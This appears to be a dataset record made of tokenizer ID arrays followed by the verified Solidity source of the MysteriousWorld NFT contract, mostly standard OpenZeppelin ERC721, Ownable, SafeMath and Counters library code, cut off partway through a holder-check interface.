[ 1, 20, 364, 7291, 20, 8462, 16, 404, 364, 7291, 404, 8462, 16, 576, 364, 25318, 16, 890, 364, 20573, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 444, 5929, 59, 7872, 1435, 3903, 1135, 261, 11890, 13, 288, 203, 565, 2583, 12, 13957, 4851, 480, 638, 16, 315, 13957, 524, 6012, 93, 1879, 8863, 203, 565, 9933, 7291, 3335, 7607, 273, 1517, 1749, 3907, 7607, 63, 14872, 7148, 63, 20, 13563, 31, 203, 565, 9933, 7291, 11710, 7607, 273, 225, 1517, 1749, 3907, 7607, 63, 14872, 7148, 63, 21, 13563, 31, 203, 565, 2583, 12, 14872, 3335, 7607, 480, 9933, 18, 6102, 10837, 12148, 374, 711, 496, 6599, 329, 8863, 203, 565, 2583, 12, 14872, 11710, 7607, 480, 9933, 18, 6102, 10837, 12148, 404, 711, 496, 6599, 329, 8863, 203, 203, 565, 2254, 563, 273, 890, 31, 203, 565, 309, 261, 14872, 3335, 7607, 422, 7291, 11710, 7607, 15329, 203, 1377, 15226, 23091, 5621, 203, 1377, 563, 273, 576, 31, 203, 203, 3639, 8843, 1182, 12, 14872, 7148, 63, 21, 19226, 203, 3639, 563, 273, 404, 31, 203, 3639, 8843, 1182, 12, 14872, 7148, 63, 20, 19226, 203, 3639, 563, 273, 374, 31, 203, 1377, 289, 203, 1377, 309, 261, 14872, 11710, 7607, 422, 9933, 18, 27400, 15329, 203, 3639, 8843, 1182, 12, 14872, 7148, 63, 21, 19226, 203, 3639, 563, 273, 404, 31, 203, 3639, 8843, 1182, 12, 14872, 7148, 63, 20, 19226, 203, 3639, 563, 273, 374, 31, 203, 1377, 289, 203, 1377, 309, 261, 14872, 11710, 7607, 422, 9933, 18, 1017, 1054, 1383, 15329, 203, 3639, 8843, 1182, 12, 14872, 7148, 63, 21, 19226, 203, 3639, 563, 273, 404, 31, 203, 3639, 8843, 1182, 12, 14872, 2 ]
/** *Submitted for verification at Etherscan.io on 2022-02-04 */ // SPDX-License-Identifier: MIT // # MysteriousWorld // Read more at https://www.themysterious.world/utility pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // The Creature World and Superlative Secret Society is used so we check who holds a nft // for the free mint claim system interface Creature { function ownerOf(uint256 token) external view returns(address); function tokenOfOwnerByIndex(address inhabitant, uint256 index) external view returns(uint256); function balanceOf(address inhabitant) external view 